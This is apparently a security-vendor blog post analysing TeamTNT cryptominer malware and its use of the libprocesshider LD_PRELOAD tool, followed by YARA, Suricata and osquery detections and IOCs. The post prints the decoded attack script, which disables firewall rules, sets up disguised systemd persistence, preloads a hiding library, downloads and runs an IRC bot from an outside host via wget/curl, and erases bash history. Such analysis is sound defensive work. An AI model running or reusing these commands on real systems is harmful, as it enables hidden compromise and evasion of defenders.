

TeamTNT delivers malware with new detection evasion tool

cybersecurity.att.com/blogs/labs-research/teamtnt-delivers-malware-with-new-detection-evasion-tool



1. [AT&T Cybersecurity](#)
2. [Blog](#)

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Executive Summary

AT&T Alien Labs™ has identified a new tool from the TeamTNT adversary group, which has been previously observed targeting exposed Docker infrastructure for cryptocurrency mining purposes and credential theft. The group is using a new detection evasion tool, copied from open source repositories.

The purpose of this blog is to share new technical intelligence and provide detection and analysis options for defenders.

Background

AT&T Alien Labs previously [reported](#) on TeamTNT cryptomining malware using a new memory loader based on Ezuri and written in Golang. Since then, TeamTNT has added another tool to their list of capabilities.

Analysis

The objective of the new tool is to hide the malicious process from process information programs such as `ps` and `lsof`, effectively acting as a defense evasion technique.

The tool, named *libprocesshider*, is an open source tool from 2014 [located on Github](#), described as "hide a process under Linux using the ld preloader." Preloading allows the system to load a custom shared library before other system libraries are loaded. If the custom shared library exports a function with the same signature of one located in the system libraries, the custom version will override it.

The tool implements the function `readdir()` which is being used by processes such as `ps` to read the `/proc` directory to find running processes and to modify the return value in case there is a match between the processes found and the process needed to hide.

The new tool arrives within a base64 encoded script hidden in the TeamTNT cryptominer binary or ircbot (figure 1):

```
.rodata:000000000444DF0 shell_cmd db 'echo IyEvYmluL2Jhc2gKcmZ1bmN0aW9uIElOSVRfTUFJTigpewpTRVRfRE5TX1NF'  
.rodata:000000000444DF0 ; DATA XREF: sub_63690+A↑  
.rodata:000000000444DF0 db 'UlZFUgpdSEVDS19TWNURU1EC1NFVF9TT19GSUxFC1NFVQX01SQ0JpVApDTEVBT'  
.rodata:000000000444DF0 db 'lVQX1RSQUNFUwp9CgoKZnVuY3Rpb24gU0VUX0ROU19TRVJWRVl0KXsKaXB0YWJsZX'  
.rodata:000000000444DF0 db 'MgLUYKY2hhdHRyIC1pYSAvZXRjLyAvZXRjL3Jlc29sdi5jb25mIDI+L2Rldi9udWx'  
.rodata:000000000444DF0 db 'sCmNhdCAvZXRjL3Jlc29sdi5jb25mIHwgZ3JlcAnbmFtZXN1cnZlciA4LjguOC44'  
.rodata:000000000444DF0 db 'JyAyPi9kZXYvbnVsbCB8fCB1Y2hvICduYW1lc2VydGVyIDguOC44LjgnID4+IC9ld'  
.rodata:000000000444DF0 db 'GMvcmVzb2x2LmNvbWYKY2F0IC9ldGMvcmVzb2x2LmNvbWYgFCBncmVwICduYW1lc2'  
.rodata:000000000444DF0 db 'VydGVyIDguOC40LjQnIDI+L2Rldi9udWxsIHx8IGVjaG8gJ25hbWVzZXJ2ZXIgc0C4'  
.rodata:000000000444DF0 db '4LjQuNCgPj4gL2V0Yy9yZXNvbHlyY29uZgpjaGF0dHIgK2kgL2V0Yy9yZXNvbHly'  
.rodata:000000000444DF0 db 'Y29uZiAyPi9kZXYvbnVsbAp9CgokZnVuY3Rpb24gQ0hFQ0tFU11TVEVNRcgpewppZ'  
.rodata:000000000444DF0 db 'iB0eXB1IHNSc3RlbnN0bCAyPi9kZXYvbnVsbCAxPi9kZXYvbnVsbDsgdGh1bGpTWV'  
.rodata:000000000444DF0 db 'NURU1EX1NFU1ZJQ0UKZwzZQpJTKlURF9TRVJWSUNFCmZpCn0KCgpmdw5jdG1vb1B'  
.rodata:000000000444DF0 db 'TWNURU1EX1NFU1ZJQ0UoKXsKaWYgWyAhIC1mIC1vbG1lL3N5c3R1bWQvc3lzdGvt'
```

Figure 1. base64 encoded script, via Alien Labs analysis.

Upon binary execution, the bash script will run through a multitude of tasks. Specifically, the script will:

- Modify the network DNS configuration.
- Set persistence through systemd.
- Drop and activate the new tool as service.
- Download the latest IRC bot configuration.
- Clear evidence of activities to complicate potential defender actions.

After decoding, we can observe the bash script functionality and how some malicious activity occurs before the shared library is created (figure 2):

```

1  #!/bin/bash
2
3  function INIT_MAIN(){
4  SET_DNS_SERVER
5  CHECK_SYSTEMD
6  SET_S0_FILE
7  SETUP_IRCBOT
8  CLEANUP_TRACES
9  }
10
11
12 function SET_DNS_SERVER(){
13 iptables -F
14 chattr -ia /etc/ /etc/resolv.conf 2>/dev/null
15 cat /etc/resolv.conf | grep 'nameserver 8.8.8.8' 2>/dev/null || echo 'nameserver 8.8.8.8' >> /etc/resolv.conf
16 cat /etc/resolv.conf | grep 'nameserver 8.8.4.4' 2>/dev/null || echo 'nameserver 8.8.4.4' >> /etc/resolv.conf
17 chattr +i /etc/resolv.conf 2>/dev/null
18 }
19
20
21 function CHECK_SYSTEMD(){
22 if type systemctl 2>/dev/null 1>/dev/null; then
23 SYSTEMD_SERVICE
24 else
25 INITD_SERVICE
26 fi
27 }
28
29
30 function SYSTEMD_SERVICE(){
31 if [ ! -f "/lib/systemd/system/NetworkManager-wait.service" ]; then
32 chattr -ia /lib/ /lib/systemd/ /lib/systemd/system/ 2>/dev/null
33 mkdir -p /lib/systemd/system/ 2>/dev/null
34 if ! type nice 2>/dev/null 1>/dev/null; then
35 export SYSTEMDSRV='W1VuaXRdCkRlc2NyaXB0aW9uPU5ldHdvcmtnYW5hZ2VvLXdhaXQKCltTZXJ2aWNLXQpFeGVjU3Rhcnc09L2Jpb19zYmLuClN0YW5kYXJkT3V0cHV0PW51bGwKCltJbnN
36 else
37 export SYSTEMDSRV='W1VuaXRdCkRlc2NyaXB0aW9uPU5ldHdvcmtnYW5hZ2VvLXdhaXQKCltTZXJ2aWNLXQpFeGVjU3Rhcnc09bmljZSAtdiAtMjAgL2Jpb19zYmLuClN0YW5kYXJkT3V0cHV
38 fi
39 echo $$SYSTEMDSRV | base64 -d > /lib/systemd/system/NetworkManager-wait.service
40 fi
41 systemctl --system daemon-reload 2>/dev/null
42 systemctl enable NetworkManager-wait.service 2>/dev/null
43 systemctl start NetworkManager-wait.service 2>/dev/null
44 }
45

```

Adding DNS servers to the system

Set malware persistence

Figure 2. Decoded bash script, via Alien Labs analysis.

The new tool is first dropped as a hidden tar file on disk, the script decompresses it, writes it to '/usr/local/lib/systemhealth.so', and then adds it preload via '/etc/ld.so.preload'. This will be used by the system to preload the file before other system libraries, allowing the attacker to override some common functions (figure 3/4).

```

63
64 function SET_S0_FILE(){
65 if [ ! -f "/usr/local/lib/systemhealth.so" ]; then
66 chattr -ia /usr/ /usr/local/ /usr/local/lib/ /etc/ /etc/ld.so.preload 2>/dev/null
67 S0FILE='H4sIAAAAAAAAA+1bDwxcRWe0//Ej3YIYSk3CVHhKuEJGfHjmw7qeESx86mSkIIccVPzeZ8P74r96fdndhAqMEYgyrLQqqtFWRqJp2kooK1oKUKghkJS2ogZRIcGvJ1XVYdWKT91FePtVWmZvdm53VahpVLbfdbfde
68 S0FILE=$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 64 | xargs echo)
69 chattr -R -ia /tmp/
70 echo $$S0FILE | base64 -d > /tmp/.sh.tar.gz
71 mkdir -p /usr/local/lib/ 2>/dev/null
72 tar xvf /tmp/.sh.tar.gz -C /usr/local/lib/ 2>/dev/null
73 rm -f /tmp/.sh.tar.gz 2>/dev/null
74 fi
75 cat /etc/ld.so.preload | grep '/usr/local/lib/systemhealth.so' 2>/dev/null || echo '/usr/local/lib/systemhealth.so' >> /etc/ld.so.preload 2>/dev/null
76 chattr +i /etc/ld.so.preload 2>/dev/null
77 }
78
79
80 function SETUP_IRCBOT(){
81 if [ ! -f "/usr/bin/sbin" ]; then
82 ZIGGY_GET="http://kaiserfran2.cc/ziggy_spread"
83 chattr -ia /usr/ /usr/bin/ /usr/bin/sbin 2>/dev/null
84 wget $ZIGGY_GET -O /usr/bin/sbin 2>/dev/null || curl $ZIGGY_GET -o /usr/bin/sbin 2>/dev/null || wge $ZIGGY_GET -O /usr/bin/sbin 2>/dev/null || cur $ZIGGY_GET -o /usr/bin/sb
85 chmod +x /usr/bin/sbin
86 fi
87 /usr/bin/sbin
88 }
89
90

```

file encoded as base64

saving file to disk as hidden '.gz' file extracting it to /usr/local/lib

adding file to preload

downloading TeamTNT IRC bot as '/usr/bin/sbin'

```

.rodata:0000000000002000 ;org 2000h
.rodata:0000000000002000 process_to_hide db 'sbin',0 ; DATA XREF: LOAD:0000000000000C0f0
.rodata:0000000000002000 ; .data:process_to_filter↓
.rodata:0000000000002005 ; const char format[1

```

Figure 3/4. bash script features, via Alien Labs analysis.

The main purpose of the tool is to hide the TeamTNT bot from process viewer tools, which use the file '/usr/bin/sbin' as you can see in Figure 3 and 4 (SETUP_IRCBOT function).

As final step, the malware will remove traces by deleting bash history:

```
91  function CLEANUP_TRACES(){
92  chattr -ia /var/ /var/mail/ /var/mail/root
93  chmod 1777 /var/mail/root
94  echo " " > /var/mail/root
95  chattr +i /var/mail/root
96  chattr -ia /root/ /root/.bash_history
97  echo " " > /root/.bash_history
98  chattr +i /root/.bash_history
99  history -c
100 }
101
102
103  INIT_MAIN
104
105
```

Figure 5. bash script cleanup, via Alien Labs analysis.

Conclusion

Through the use of *libprocesshider*, TeamTNT once again expands their capabilities based on the available open source tools. While the new functionality of *libprocesshider* is to evade detection and other basic functions, it acts as an indicator to consider when hunting for malicious activity on the host level. Alien Labs will continue to monitor the threat and report on any noteworthy activity.

Appendix A. Detection Methods

The following associated detection methods are in use by Alien Labs. They can be used by readers to tune or deploy detections in their own environments or for aiding additional research.

SURICATA IDS SIGNATURES

AV TROJAN TeamTNT CoinMiner Payload Download to clean up other Coinminers

AV TROJAN TeamTNT Mining Worm Credential Exfiltration

AV TROJAN TeamTNT CoinMiner Downloader

ET TROJAN Observed TrojanSpy.SH.HADGLIDER.A Exfil Domain in DNS Query

YARA RULES

```
rule teamTNT_hideproc
```

```
{
```

```
    meta:
```

```
        sha256 = "02cde4109a12acb499953aa8c79917455b9f49837c7c1dbb13cbcf67e86a1555"
```

```
    strings:
```

```
        $code1 = {48 8B 15 ?? ?? 00 00 48 8B 85 ?? ?? FF FF 48 89 C7 FF D2 48 89  
[2-5] 48 [3-6] 00 74 ?? 48 8D 8D F0 FD FF FF 48 8B 85 ?? FD FF FF BA 00 01 00 00 48  
89 CE 48 89 C7 E8 ?? FD FF FF 85 C0 74 ?? 48 8D 85 F0 FD FF FF 48 8D 35 ?? ?? 00 00  
48 89 C7 E8 ?? ?? FF FF 85 C0 75 ?? 48 8B [2-5] 48 8D 50 13 48 8D 85 F0 FE FF FF 48  
89 C6 48 89 D7 E8 ?? ?? FF FF 85 C0 74 22 48 8B 15 ?? ?? 00 00 48 8D 85 F0 FE FF FF  
48 89 D6 48 89 C7 E8 ?? ?? FF FF 85 C0 }
```

```
        $s1 = "readdir64"
```

```
        $s2 = "dlsym"
```

```
        $s3 = "_ITM_deregisterTMCloneTable"
```

```
        $s4 = "frame_dummy"
```

```
    condition:
```

```
        uint16(0) == 0x457f and
```

```
        filesize < 25000 and
```

```
        all of them
```

```
}
```

AGENT SIGNATURES

```
"detection_suspicious_ld_preload_environment_variable": {"platform": "linux",
"description": "Detects usage of the ld_preload env variable ", "query": "SELECT
process_envs.pid as source_process_id, process_envs.key as environment_variable_key,
process_envs.value as environment_variable_value, processes.name as source_process,
processes.path as file_path, processes.cmdline as source_process_commandline,
processes.cwd as current_working_directory, 'T1055' as event_attack_id, 'Process
Injection' as event_attack_technique, 'Defense Evasion, Privilege Escalation' as
event_attack_tactic FROM process_envs join processes USING (pid) WHERE key =
'LD_PRELOAD';", "interval": "60", "removed": "false"}
```

Appendix B. Associated Indicators (IOCs)

The following technical indicators are associated with the reported intelligence. A list of indicators is also available in the [OTX Pulse](#). Please note, the pulse may include other activities related but out of the scope of the blog.

TYPE	INDICATOR
------	-----------

SHA256	73dec430b98ade79485f76d405c7a9b325df7492b4f97985499a46701553e34a
--------	--

SHA256	cb013be7b5269c035495222198ec708c026c8db838031af60fd0bd984f34226f
--------	--

SHA256	02cde4109a12acb499953aa8c79917455b9f49837c7c1dbb13cbcf67e86a1555
--------	--

SHA256	b666cd08b065132235303727f2d77997a30355ae0e5b557cd08d41c9ade7622d
--------	--

Domain	kaiserfranz[.]cc
--------	----------------------------------

Feedback

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